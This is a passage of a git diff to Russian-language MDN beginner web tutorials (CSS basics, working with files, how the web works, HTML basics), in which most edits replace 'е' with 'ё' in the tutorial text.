обучения Фронтенд разработчика!<br> <br> - Здесь мы предлагаем вам структурированный курс, который научит вас всему, что вам необходимо знать, чтобы стать фронтенд разработчиком. Изучение в рекомендуемом порядке каждого раздела позволит получить новые навыки, или улучшить имеющиеся. Также в каждом разделе вы найдете упражнения и тесты. Прежде чем переходить к следующей теме обязательно проверьте себя.</p> + Здесь мы предлагаем вам структурированный курс, который научит вас всему, что вам необходимо знать, чтобы стать фронтенд разработчиком. Изучение в рекомендуемом порядке каждого раздела позволит получить новые навыки, или улучшить имеющиеся. Также в каждом разделе вы найдёте упражнения и тесты. Прежде чем переходить к следующей теме обязательно проверьте себя.</p> <h2 id="Основные_темы">Основные темы:</h2> diff --git a/files/ru/learn/getting_started_with_the_web/css_basics/index.html b/files/ru/learn/getting_started_with_the_web/css_basics/index.html index 65a8ee1b4e..243af47b53 100644 --- a/files/ru/learn/getting_started_with_the_web/css_basics/index.html +++ b/files/ru/learn/getting_started_with_the_web/css_basics/index.html @@ -18,12 +18,12 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</div> <div class="summary"> -<p>CSS (Cascading Style Sheets) — это код, который вы используете для стилизации вашей веб-страницы. <em>Основы CSS</em> помогут вам понять, что вам нужно для начала работы. Мы ответим на такие вопросы как: Как сделать мой текст черным или красным? Как сделать так, чтобы контент появлялся в определенном месте на экране? Как украсить мою веб-страницу с помощью фоновых изображений и цветов?</p> +<p>CSS (Cascading Style Sheets) — это код, который вы используете для стилизации вашей веб-страницы. <em>Основы CSS</em> помогут вам понять, что вам нужно для начала работы. Мы ответим на такие вопросы как: Как сделать мой текст черным или красным? Как сделать так, чтобы контент появлялся в определённом месте на экране? Как украсить мою веб-страницу с помощью фоновых изображений и цветов?</p> </div> <h2 id="Так_что_же_такое_CSS">Так что же такое CSS? </h2> -<p>Как и HTML, CSS на самом деле не является языком программирования. Это не язык разметки - это <em>язык таблицы стилей. </em>Это означает, что он позволяет применять стили выборочно к элементам в документах HTML. Например, чтобы выбрать <strong>все</strong> элементы абзаца на HTML странице и изменить текст внутри них с черного на красный, вы должны написать этот CSS:</p> +<p>Как и HTML, CSS на самом деле не является языком программирования. Это не язык разметки - это <em>язык таблицы стилей. </em>Это означает, что он позволяет применять стили выборочно к элементам в документах HTML. Например, чтобы выбрать <strong>все</strong> элементы абзаца на HTML странице и изменить текст внутри них с чёрного на красный, вы должны написать этот CSS:</p> <pre class="notranslate"><code>p { color: red; @@ -57,7 +57,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <dt>Объявление (Declaration)</dt> <dd>Единственное правило, например <code>color: red;</code> указывает, какие из <strong>свойств</strong> элемента вы хотите стилизовать.</dd> <dt>Свойства (Properties)</dt> - <dd>Способы, которыми вы можете стилизовать определенный HTML элемент (в данном случае, <code>color</code> является свойством для элементов {{htmlelement("p")}}). В CSS вы выбираете, какие свойства вы хотите затронуть в вашем правиле.</dd> + <dd>Способы, которыми вы можете стилизовать определённый HTML элемент (в данном случае, <code>color</code> является свойством для элементов {{htmlelement("p")}}). В CSS вы выбираете, какие свойства вы хотите затронуть в вашем правиле.</dd> <dt>Значение свойства (Property value)</dt> <dd>Справа от свойства, после двоеточия, у нас есть <strong>значение свойства</strong>, которое выбирает одно из множества возможных признаков для данного свойства (существует множество значений <code>color</code>, помимо <code>red</code>).</dd> </dl> @@ -65,7 +65,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <p>Обратите внимание на важные части синтаксиса:</p> <ul> - <li>Каждый набор правил (кроме селектора) должен быть обернут в фигурные скобки (<code>{}</code>).</li> + <li>Каждый набор правил (кроме селектора) должен быть обёрнут в фигурные скобки (<code>{}</code>).</li> <li>В каждом объявлении необходимо использовать двоеточие (<code>:</code>), чтобы отделить свойство от его значений.</li> <li>В каждом наборе правил вы должны использовать точку с запятой (<code>;</code>), чтобы отделить каждое объявление от следующего.</li> </ul> @@ -80,7 +80,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <h3 id="Выбор_нескольких_элементов">Выбор нескольких элементов</h3> -<p>Вы также можете выбрать несколько элементов разного типа и применить единый набор правил для всех из них. Добавьте несколько селекторов, разделенных запятыми. Например:</p> +<p>Вы также можете выбрать несколько элементов разного типа и применить единый набор правил для всех из них. Добавьте несколько селекторов, разделённых запятыми. Например:</p> <pre class="brush: css notranslate">p,li,h1 { color: red; @@ -88,7 +88,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <h3 id="Разные_типы_селекторов">Разные типы селекторов</h3> -<p>Существует множество различных типов селектора. Выше мы рассматривали только <strong>селектор элементов</strong>, который выбирает все элементы определенного типа в HTML документе. Но мы можем сделать выбор более конкретным. Вот некоторые из наиболее распространенных типов селекторов:</p> +<p>Существует множество различных типов селектора. Выше мы рассматривали только <strong>селектор элементов</strong>, который выбирает все элементы определённого типа в HTML документе. Но мы можем сделать выбор более конкретным. Вот некоторые из наиболее распространённых типов селекторов:</p> <table class="standard-table"> <thead> @@ -125,14 +125,14 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics </tr> <tr> <td>Селектор псевдокласса</td> - <td>Указанные элемент(ы), но только в случае определенного состояния, например, при наведении курсора.</td> + <td>Указанные элемент(ы), но только в случае определённого состояния, например, при наведении курсора.</td> <td><code>a:hover</code><br> - Выбирает <code><a></code>, но только тогда, когда указатель мыши наведен на ссылку.</td> + Выбирает <code><a></code>, но только тогда, когда указатель мыши наведён на ссылку.</td> </tr> </tbody> </table> -<p>Существует еще много селекторов для изучения, и вы можете найти более подробный список в нашем <a href="/ru/docs/Web/Guide/CSS/Getting_started/Selectors">Руководстве селекторов</a>.</p> +<p>Существует ещё много селекторов для изучения, и вы можете найти более подробный список в нашем <a href="/ru/docs/Web/Guide/CSS/Getting_started/Selectors">Руководстве селекторов</a>.</p> <h2 id="Шрифты_и_текст">Шрифты и текст</h2> @@ -198,7 +198,7 @@ p, li { <li><code>display</code>: устанавливает режим отображения элемента (пока что не волнуйтесь об этом)</li> </ul> -<p>Итак, давайте начнем и добавим больше CSS на нашей странице! Продолжайте добавлять эти новые правила, расположенные в нижней части страницы, и не бойтесь экспериментировать с изменением значений, чтобы увидеть, как это работает.</p> +<p>Итак, давайте начнём и добавим больше CSS на нашей странице! Продолжайте добавлять эти новые правила, расположенные в нижней части страницы, и не бойтесь экспериментировать с изменением значений, чтобы увидеть, как это работает.</p> <h3 id="Изменение_цвета_страницы">Изменение цвета страницы</h3> @@ -218,14 +218,14 @@ p, li { border: 5px solid black; }</pre> -<p>Теперь для {{htmlelement("body")}} элемента. Здесь есть немало деклараций, так что давайте пройдем через них всех по одному:</p> +<p>Теперь для {{htmlelement("body")}} элемента. Здесь есть немало деклараций, так что давайте пройдём через них всех по одному:</p> <ul> <li><code>width: 600px;</code> — заставляет тело быть всегда 600 пикселей в ширину.</li> <li><code>margin: 0 auto;</code> — когда вы устанавливаете два значения для таких свойств как <code>margin</code> или <code>padding</code>, первое значение элемента влияет на верхнюю <strong>и</strong> нижнюю сторону (делает их <code>0</code> в данном случае), и второе значение на левую <strong>и</strong> правую сторону (здесь, <code>auto</code> является особым значением, которое делит доступное пространство по горизонтали поровну слева и справа). Вы также можете использовать один, три или четыре значения, как описано <a href="https://developer.mozilla.org/ru/docs/Web/CSS/margin#Values">здесь</a>.</li> <li><code>background-color: #FF9500;</code> — как и прежде, устанавливает цвет фона элемента. Я использовал красновато-оранжевый для тела, в отличие от темно-синего цвета для {{htmlelement("html")}} элемента, но не стесняйтесь и экспериментируйте.</li> <li><code>padding: 0 20px 20px 20px;</code> — у нас есть четыре значения, установленные для padding, чтобы сделать немного пространства вокруг нашего контента. В этот раз мы не устанавливаем padding на верхней части тела, но делаем 20 пикселей слева, снизу и справа. Значения устанавливаются сверху, справа, снизу, слева, в таком порядке.</li> - <li><code>border: 5px solid black;</code> — просто устанавливает сплошную черную рамку шириной 5 пикселей со всех сторон тела.</li> + <li><code>border: 5px solid black;</code> — просто устанавливает сплошную чёрную рамку шириной 5 пикселей со всех сторон тела.</li> </ul> <h3 id="Позиционирование_и_стилизация_нашего_заголовка_главной_страницы">Позиционирование и стилизация нашего заголовка главной страницы</h3> @@ -244,10 +244,10 @@ p, li { <p>Здесь, мы использовали одно довольно интересное свойство - это <code>text-shadow</code>, которое применяет тень к текстовому контенту элемента. Оно имеет следующие четыре значения:</p> <ul> - <li>Первое значение пикселей задает <strong>горизонтальное смещение</strong> тени от текста — как далеко она движется поперек: отрицательное значение должно двигать ее влево.</li> - <li>Второе значение пикселей задает <strong>вертикальное смещение</strong> тени от текста — как далеко она движется вниз, в этом примере: отрицательное значение должно переместить ее вверх.</li> - <li>Третье значение пикселей задает <strong>радиус размытия</strong> тени — большее значение будет означать более размытую тень.</li> - <li>Четвертое значение задает основной цвет тени.</li> + <li>Первое значение пикселей задаёт <strong>горизонтальное смещение</strong> тени от текста — как далеко она движется поперёк: отрицательное значение должно двигать её влево.</li> + <li>Второе значение пикселей задаёт <strong>вертикальное смещение</strong> тени от текста — как далеко она движется вниз, в этом примере: отрицательное значение должно переместить её вверх.</li> + <li>Третье значение пикселей задаёт <strong>радиус размытия</strong> тени — большее значение будет означать более размытую тень.</li> + <li>Четвёртое значение задаёт основной цвет тени.</li> </ul> <p>И вновь попробуйте поэкспериментировать с различными значениями, чтобы посмотреть, что вы можете придумать.</p> @@ -259,14 +259,14 @@ p, li { margin: 0 auto; }</pre> -<p>В заключение, мы отцентрируем изображение, чтобы оно лучше выглядело. Мы можем использовать <code>margin: 0 auto</code> уловку снова, как мы это делали раньше для body, но мы также должны сделать кое-что еще. Элемент {{HTMLElement("body")}} является <strong>блочным</strong>, это значит, что он занимает место на странице и может иметь margin и другие значения отступов, применяемых к нему. Изображения, наоборот, являются <strong>строчными</strong> элементами, то есть они этого не могут. Таким образом, чтобы применить margin к изображению, мы должны дать изображению блочное поведение с помощью <code>display: block;</code>.</p> +<p>В заключение, мы отцентрируем изображение, чтобы оно лучше выглядело. Мы можем использовать <code>margin: 0 auto</code> уловку снова, как мы это делали раньше для body, но мы также должны сделать кое-что ещё. Элемент {{HTMLElement("body")}} является <strong>блочным</strong>, это значит, что он занимает место на странице и может иметь margin и другие значения отступов, применяемых к нему. Изображения, наоборот, являются <strong>строчными</strong> элементами, то есть они этого не могут. Таким образом, чтобы применить margin к изображению, мы должны дать изображению блочное поведение с помощью <code>display: block;</code>.</p> <div class="blockIndicator note"> -<p><strong>Примечание: </strong>Приведенные выше инструкции предполагают, что вы используете изображение меньшей ширины, чем заданная для {{HTMLElement("body")}} (600 пикселей). Если ваше изображение больше, тогда оно выйдет за границы {{HTMLElement("body")}} и займет пространство страницы. Чтобы исправить это, вы можете 1) уменьши ширину изображения используя <a href="https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B2%D1%8B%D0%B9_%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%80%D0%B5%D0%B4%D0%B0%D0%BA%D1%82%D0%BE%D1%80">графический редактор</a>, или 2) изменить размер изображения используя CSS путем установки свойства {{cssxref("width")}} для <code><img></code> элемента меньшего значения (например <code>400 px;</code>).</p> +<p><strong>Примечание: </strong>Приведённые выше инструкции предполагают, что вы используете изображение меньшей ширины, чем заданная для {{HTMLElement("body")}} (600 пикселей). Если ваше изображение больше, тогда оно выйдет за границы {{HTMLElement("body")}} и займёт пространство страницы. Чтобы исправить это, вы можете 1) уменьши ширину изображения используя <a href="https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B2%D1%8B%D0%B9_%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%80%D0%B5%D0%B4%D0%B0%D0%BA%D1%82%D0%BE%D1%80">графический редактор</a>, или 2) изменить размер изображения используя CSS путём установки свойства {{cssxref("width")}} для <code><img></code> элемента меньшего значения (например <code>400 px;</code>).</p> </div> <div class="note"> -<p><strong>Примечание</strong>: Не стоит беспокоиться, если вы еще не понимаете <code>display: block;</code> и различия между блочным/строчным. Вы поймете, когда будете изучать CSS более подробно. Вы можете узнать больше о различных доступных значениях display на нашей странице о свойстве <a href="/ru/docs/Web/CSS/display">display</a>.</p> +<p><strong>Примечание</strong>: Не стоит беспокоиться, если вы ещё не понимаете <code>display: block;</code> и различия между блочным/строчным. Вы поймёте, когда будете изучать CSS более подробно. Вы можете узнать больше о различных доступных значениях display на нашей странице о свойстве <a href="/ru/docs/Web/CSS/display">display</a>.</p> </div> <h2 id="Заключение">Заключение</h2> diff --git a/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html index 1976fc08ea..1efcf60a76 100644 --- a/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html +++ b/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html @@ -20,16 +20,16 @@ translation_of: Learn/Getting_started_with_the_web/Dealing_with_files <div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</div> <div class="summary"> -<p>Веб-сайт состоит из множества файлов: текстового контента, кода, стилей, медиа-контента, и так далее. Когда вы создаете веб-сайт, вы должны собрать эти файлы в рациональную структуру на вашем локальном компьютере, убедитесь, что они могут общаться друг с другом, и весь ваш контент выглядит правильно, прежде чем вы, в конечном итоге <a href="/ru/Learn/Getting_started_with_the_web/Publishing_your_website">загрузите их на сервер</a>. В статье <em>Работа с файлами</em> обсуждаются некоторые вопросы, о которых вам следует знать, чтобы вы могли рационально настроить файловую структуру для своего веб-сайта.</p> +<p>Веб-сайт состоит из множества файлов: текстового контента, кода, стилей, медиа-контента, и так далее. Когда вы создаёте веб-сайт, вы должны собрать эти файлы в рациональную структуру на вашем локальном компьютере, убедитесь, что они могут общаться друг с другом, и весь ваш контент выглядит правильно, прежде чем вы, в конечном итоге <a href="/ru/Learn/Getting_started_with_the_web/Publishing_your_website">загрузите их на сервер</a>. В статье <em>Работа с файлами</em> обсуждаются некоторые вопросы, о которых вам следует знать, чтобы вы могли рационально настроить файловую структуру для своего веб-сайта.</p> </div> <h2 id="Где_ваш_веб-сайт_должен_располагаться_на_вашем_компьютере">Где ваш веб-сайт должен располагаться на вашем компьютере?</h2> -<p>Когда вы работаете на веб-сайте локально на вашем компьютере, вы должны держать все связанные файлы в одной папке, которая отражает файловую структуру опубликованного веб-сайта на сервере. Эта папка может располагаться где угодно, но вы должны положить её туда, где вы сможете легко её найти, может быть, на ваш рабочий стол, в домашнюю папку или в корень вашего жесткого диска.</p> +<p>Когда вы работаете на веб-сайте локально на вашем компьютере, вы должны держать все связанные файлы в одной папке, которая отражает файловую структуру опубликованного веб-сайта на сервере. Эта папка может располагаться где угодно, но вы должны положить её туда, где вы сможете легко её найти, может быть, на ваш рабочий стол, в домашнюю папку или в корень вашего жёсткого диска.</p> <ol> <li>Выберите место для хранения проектов веб-сайта. Здесь, создайте новую папку с именем <code>web-projects</code> (или аналогичной). Это то место, где будут располагаться все ваши проекты сайтов.</li> - <li>Внутри этой первой папки, создайте другую папку для хранения вашего первого веб-сайта. Назовите ее <code>test-site</code> (или как-то более творчески).</li> + <li>Внутри этой первой папки, создайте другую папку для хранения вашего первого веб-сайта. Назовите её <code>test-site</code> (или как-то более творчески).</li> </ol> <h2 id="Небольшое_отступление_о_регистре_и_пробелах">Небольшое отступление о регистре и пробелах</h2> @@ -38,14 +38,14 @@ translation_of: Learn/Getting_started_with_the_web/Dealing_with_files <ol> <li>Многие компьютеры, в частности веб-серверы, чувствительны к регистру. Так, например, если вы положили изображение на свой веб-сайт в <code>test-site/MyImage.jpg</code>, а затем в другом файле вы пытаетесь вызвать изображение как <code>test-site/myimage.jpg</code>, это может не сработать.</li> - <li>Браузеры, веб-серверы и языки программирования не обрабатывают пробелы последовательно. Например, если вы используете пробелы в имени файла, некоторые системы могут отнестись к имени файла как к двум именам файлов. Некоторые серверы заменяют пробелы в вашем имени файла на "%20" (символьный код для пробелов в URI), в результате чего все ваши ссылки будут сломаны. Лучше разделять слова дефисами, чем нижними подчеркиваниями: <code>my-file.html</code> лучше чем <code>my_file.html</code>.</li> + <li>Браузеры, веб-серверы и языки программирования не обрабатывают пробелы последовательно. Например, если вы используете пробелы в имени файла, некоторые системы могут отнестись к имени файла как к двум именам файлов. Некоторые серверы заменяют пробелы в вашем имени файла на "%20" (символьный код для пробелов в URI), в результате чего все ваши ссылки будут сломаны. Лучше разделять слова дефисами, чем нижними подчёркиваниями: <code>my-file.html</code> лучше чем <code>my_file.html</code>.</li> </ol> -<p>Говоря простым языком, вы должны использовать дефис для имен файлов. Поисковая система Google рассматривает дефис как разделитель слов, но не относится к подчеркиванию таким образом. По этим причинам, лучше всего приобрести привычку писать названия ваших папок и файлов в нижнем регистре без пробелов, разделяя слова дефисами, по крайней мере, пока вы не поймете, что вы делаете. Так в будущем вы столкнетесь с меньшим количеством проблем.</p> +<p>Говоря простым языком, вы должны использовать дефис для имён файлов. Поисковая система Google рассматривает дефис как разделитель слов, но не относится к подчёркиванию таким образом. По этим причинам, лучше всего приобрести привычку писать названия ваших папок и файлов в нижнем регистре без пробелов, разделяя слова дефисами, по крайней мере, пока вы не поймёте, что вы делаете. Так в будущем вы столкнётесь с меньшим количеством проблем.</p> <h2 id="Какую_структуру_должен_иметь_ваш_веб-сайт">Какую структуру должен иметь ваш веб-сайт?</h2> -<p>Далее, давайте взглянем на то, какую структуру должен иметь наш тестовый сайт. Наиболее распространенные вещи, присутствующие в любом проекте сайта, которые мы создаем: индексный файл HTML и папки, содержащие изображения, файлы стилей и файлы скриптов. Давайте создадим их сейчас:</p> +<p>Далее, давайте взглянем на то, какую структуру должен иметь наш тестовый сайт. Наиболее распространённые вещи, присутствующие в любом проекте сайта, которые мы создаём: индексный файл HTML и папки, содержащие изображения, файлы стилей и файлы скриптов. Давайте создадим их сейчас:</p> <ol> <li><code><strong>index.html</strong></code>: Этот файл обычно содержит контент домашней страницы, то есть текст и изображения, которые люди видят, когда они впервые попадают на ваш сайт. Используя ваш текстовый редактор, создайте новый файл с именем <code>index.html</code> и сохраните его прямо внутри вашей папки <code>test-site</code>.</li> @@ -55,7 +55,7 @@ translation_of: Learn/Getting_started_with_the_web/Dealing_with_files </ol> <div class="note"> -<p><strong>Примечание</strong>: На компьютерах под управлением Windows у вас могут возникнуть проблемы с отображением имен файлов, поскольку у Windows есть опция <strong>Скрывать расширения для известных типов файлов</strong>, включенная по умолчанию. Обычно вы можете отключить ее, перейдя в проводник, выбрать вариант <strong>Свойства папки...</strong> и снять флажок <strong>Скрывать расширения для зарегистрированных типов файлов</strong>, затем щёлкнуть <strong>OK</strong>. Для получения более точной информации, охватывающей вашу версию Windows, вы можете произвести поиск в Интернете.</p> +<p><strong>Примечание</strong>: На компьютерах под управлением Windows у вас могут возникнуть проблемы с отображением имён файлов, поскольку у Windows есть опция <strong>Скрывать расширения для известных типов файлов</strong>, включённая по умолчанию. Обычно вы можете отключить её, перейдя в проводник, выбрать вариант <strong>Свойства папки...</strong> и снять флажок <strong>Скрывать расширения для зарегистрированных типов файлов</strong>, затем щёлкнуть <strong>OK</strong>. Для получения более точной информации, охватывающей вашу версию Windows, вы можете произвести поиск в Интернете.</p> </div> <h2 id="Файловые_пути">Файловые пути</h2> diff --git a/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html index f3a8d0da2c..399bedd3dd 100644 --- a/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html +++ b/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html @@ -22,19 +22,19 @@ translation_of: Learn/Getting_started_with_the_web/How_the_Web_works <div>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div> <div class="summary"> -<p><em>Как работает Веб</em> даст упрощенное представление о том, что происходит при просмотре веб-страницы в браузере на вашем компьютере или телефоне.</p> +<p><em>Как работает Веб</em> даст упрощённое представление о том, что происходит при просмотре веб-страницы в браузере на вашем компьютере или телефоне.</p> </div> -<p>Эта теория не так важна для написания веб-кода в краткосрочной перспективе, но в скором времени вы действительно начнете извлекать выгоду из понимания того, что происходит в фоновом режиме.</p> +<p>Эта теория не так важна для написания веб-кода в краткосрочной перспективе, но в скором времени вы действительно начнёте извлекать выгоду из понимания того, что происходит в фоновом режиме.</p> <h2 id="Клиенты_и_серверы">Клиенты и серверы</h2> -<p>Компьютеры, подключенные к сети называются клиентами и серверами. Упрощенная схема того, как они взаимодействуют, может выглядеть следующим образом:</p> +<p>Компьютеры, подключённые к сети называются клиентами и серверами. Упрощённая схема того, как они взаимодействуют, может выглядеть следующим образом:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/8973/Client-server.jpg" style="height: 123px; width: 336px;"></p> <ul> - <li>Клиенты являются обычными пользователями, подключенными к Интернету посредством устройств (например, компьютер подключен к Wi-Fi, или ваш телефон подключен к мобильной сети) и программного обеспечения, доступного на этих устройствах (как правило, браузер, например, Firefox или Chrome).</li> + <li>Клиенты являются обычными пользователями, подключёнными к Интернету посредством устройств (например, компьютер подключён к Wi-Fi, или ваш телефон подключён к мобильной сети) и программного обеспечения, доступного на этих устройствах (как правило, браузер, например, Firefox или Chrome).</li> <li>Серверы - это компьютеры, которые хранят веб-страницы, сайты или приложения. Когда клиентское устройство пытается получить доступ к веб-странице, копия страницы загружается с сервера на клиентский компьютер для отображения в браузере пользователя.</li> </ul> @@ -51,7 +51,7 @@ translation_of: Learn/Getting_started_with_the_web/How_the_Web_works <ul> <li><strong>Ваше Интернет-подключение</strong>: Позволяет отправлять и принимать данные по сети. Оно подобно улице между домом и магазином.</li> <li><strong>TCP/IP</strong>: Протокол Управления Передачей и Интернет Протокол являются коммуникационными протоколами, которые определяют, каким образом данные должны передаваться по сети. Они как транспортные средства, которые позволяют сделать заказ, пойти в магазин и купить ваши товары. В нашем примере, это как автомобиль или велосипед (или собственные ноги).</li> - <li><strong>DNS</strong>: Система Доменных Имён напоминает записную книжку для веб-сайтов. Когда вы вводите веб-адрес в своем браузере, браузер обращается к DNS, чтобы найти реальный адрес веб-сайта, прежде чем он сможет его получить. Браузеру необходимо выяснить, на каком сервере живет сайт, поэтому он может отправлять HTTP-сообщения в нужное место (см. Ниже). Это похоже на поиск адреса магазина, чтобы вы могли попасть в него.</li> + <li><strong>DNS</strong>: Система Доменных Имён напоминает записную книжку для веб-сайтов. Когда вы вводите веб-адрес в своём браузере, браузер обращается к DNS, чтобы найти реальный адрес веб-сайта, прежде чем он сможет его получить. Браузеру необходимо выяснить, на каком сервере живёт сайт, поэтому он может отправлять HTTP-сообщения в нужное место (см. Ниже). Это похоже на поиск адреса магазина, чтобы вы могли попасть в него.</li> <li><strong>HTTP</strong>: Протокол Передачи Гипертекста - это {{Glossary("Protocol", "протокол")}}, который определяет язык для клиентов и серверов, чтобы общаться друг с другом. Он, как язык, который вы используете, чтобы заказать ваш товар.</li> <li><strong>Файлы компонентов</strong>: сайт состоит из нескольких различных файлов, которые подобны различным отделам с товарами в магазине. Эти файлы бывают двух основных типов: <ul> @@ -66,9 +66,9 @@ translation_of: Learn/Getting_started_with_the_web/How_the_Web_works <p>Когда вы вводите веб-адрес в свой браузер (для нашей аналогии - посещаете магазин):</p> <ol> - <li>Браузер обращается к DNS серверу и находит реальный адрес сервера, на котором "живет" сайт (Вы находите адрес магазина).</li> + <li>Браузер обращается к DNS серверу и находит реальный адрес сервера, на котором "живёт" сайт (Вы находите адрес магазина).</li> <li>Браузер посылает HTTP запрос к серверу, запрашивая его отправить копию сайта для клиента (Вы идёте в магазин и заказываете товар). Это сообщение и все остальные данные, передаваемые между клиентом и сервером, передаются по интернет-соединению с использованием протокола TCP/IP.</li> - <li>Если сервер одобряет запрос клиента, сервер отправляет клиенту статус "200 ОК", который означает: "Конечно, вы можете посмотреть на этот сайт! Вот он", а затем начинает отправку файлов сайта в браузер в виде небольших порций, называемых пакетными данными (магазин выдает вам ваш товар или вам привозят его домой).</li> + <li>Если сервер одобряет запрос клиента, сервер отправляет клиенту статус "200 ОК", который означает: "Конечно, вы можете посмотреть на этот сайт! Вот он", а затем начинает отправку файлов сайта в браузер в виде небольших порций, называемых пакетными данными (магазин выдаёт вам ваш товар или вам привозят его домой).</li> <li>Браузер собирает маленькие куски в полноценный сайт и показывает его вам (товар прибывает к вашей двери — новые вещи, потрясающе!).</li> </ol> diff --git a/files/ru/learn/getting_started_with_the_web/html_basics/index.html b/files/ru/learn/getting_started_with_the_web/html_basics/index.html index ecfa21217d..c0265eeccc 100644 --- a/files/ru/learn/getting_started_with_the_web/html_basics/index.html +++ b/files/ru/learn/getting_started_with_the_web/html_basics/index.html @@ -18,7 +18,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <h2 id="Что_такое_HTML_на_самом_деле">Что такое HTML на самом деле?</h2> -<p>HTML не является языком программирования; это <em>язык разметки</em>, и используется, чтобы сообщать вашему браузеру, как отображать веб-страницы, которые вы посещаете. Он может быть сложным или простым, в зависимости от того, как хочет веб-дизайнер. HTML состоит из ряда <strong>{{Glossary("element", "элементов")}}</strong>, которые вы используете, чтобы вкладывать или оборачивать различные части контента, чтобы заставить контент отображаться или действовать определенным образом. Ограждающие {{Glossary("tag", "теги")}} могут сделать слово или изображение ссылкой на что-то еще, могут сделать слова курсивом, сделать шрифт больше или меньше и так далее. Например, возьмем следующую строку контента:</p> +<p>HTML не является языком программирования; это <em>язык разметки</em>, и используется, чтобы сообщать вашему браузеру, как отображать веб-страницы, которые вы посещаете. Он может быть сложным или простым, в зависимости от того, как хочет веб-дизайнер. HTML состоит из ряда <strong>{{Glossary("element", "элементов")}}</strong>, которые вы используете, чтобы вкладывать или оборачивать различные части контента, чтобы заставить контент отображаться или действовать определённым образом. Ограждающие {{Glossary("tag", "теги")}} могут сделать слово или изображение ссылкой на что-то ещё, могут сделать слова курсивом, сделать шрифт больше или меньше и так далее. Например, возьмём следующую строку контента:</p> <pre class="notranslate">Моя кошка очень раздражена</pre> @@ -35,8 +35,8 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>Главными частями нашего элемента являются:</p> <ol> - <li><strong>Открывающий тег (Opening tag)</strong>: Состоит из имени элемента (в данном случае, "p"), заключенного в открывающие и закрывающие <strong>угловые скобки</strong>. Открывающий тег указывает, где элемент начинается или начинает действовать, в данном случае — где начинается абзац.</li> - <li><strong>Закрывающий тег (Closing tag):</strong> Это то же самое, что и открывающий тег, за исключением того, что он включает в себя косую черту перед именем элемента. Закрывающий элемент указывает, где элемент заканчивается, в данном случае — где заканчивается абзац. Отсутствие закрывающего тега является одной из наиболее распространенных ошибок начинающих и может приводить к странным результатам.</li> + <li><strong>Открывающий тег (Opening tag)</strong>: Состоит из имени элемента (в данном случае, "p"), заключённого в открывающие и закрывающие <strong>угловые скобки</strong>. Открывающий тег указывает, где элемент начинается или начинает действовать, в данном случае — где начинается абзац.</li> + <li><strong>Закрывающий тег (Closing tag):</strong> Это то же самое, что и открывающий тег, за исключением того, что он включает в себя косую черту перед именем элемента. Закрывающий элемент указывает, где элемент заканчивается, в данном случае — где заканчивается абзац. Отсутствие закрывающего тега является одной из наиболее распространённых ошибок начинающих и может приводить к странным результатам.</li> <li><strong>Контент (Content)</strong>: Это контент элемента, который в данном случае является просто текстом.</li> <li><strong>Элемент(Element)</strong>: Открывающий тег, закрывающий тег и контент вместе составляют элемент.</li> </ol> @@ -52,7 +52,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <ol> <li>Пробел между ним и именем элемента (или предыдущим атрибутом, если элемент уже имеет один или несколько атрибутов).</li> <li>Имя атрибута, за которым следует знак равенства.</li> - <li>Значение атрибута, заключенное с двух сторон в кавычки.</li> + <li>Значение атрибута, заключённое с двух сторон в кавычки.</li> </ol> <h3 id="Вложенные_элементы">Вложенные элементы</h3> @@ -61,7 +61,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <pre class="brush: html notranslate"><p>Моя кошка <strong>очень</strong> раздражена.</p></pre> -<p>Вы, однако, должны убедиться, что ваши элементы правильно вложены: в примере выше мы открыли первым элемент {{htmlelement("p")}}, затем элемент {{htmlelement("strong")}}, потом мы должны закрыть сначала элемент {{htmlelement("strong")}}, затем {{htmlelement("p")}}. Приведенное ниже неверно:</p> +<p>Вы, однако, должны убедиться, что ваши элементы правильно вложены: в примере выше мы открыли первым элемент {{htmlelement("p")}}, затем элемент {{htmlelement("strong")}}, потом мы должны закрыть сначала элемент {{htmlelement("strong")}}, затем {{htmlelement("p")}}. Приведённое ниже неверно:</p> <pre class="example-bad brush: html notranslate"><p>Моя кошка <strong>очень раздражена.</p></strong></pre> @@ -69,7 +69,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <h3 id="Пустые_элементы">Пустые элементы</h3> -<p>Некоторые элементы не имеют контента, и называются <strong>пустыми элементами</strong>. Возьмем элемент {{htmlelement("img")}}, который уже имеется в нашем HTML:</p> +<p>Некоторые элементы не имеют контента, и называются <strong>пустыми элементами</strong>. Возьмём элемент {{htmlelement("img")}}, который уже имеется в нашем HTML:</p> <pre class="brush: html notranslate"><img src="images/firefox-icon.png" alt="Моё тестовое изображение"></pre> @@ -77,7 +77,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <h3 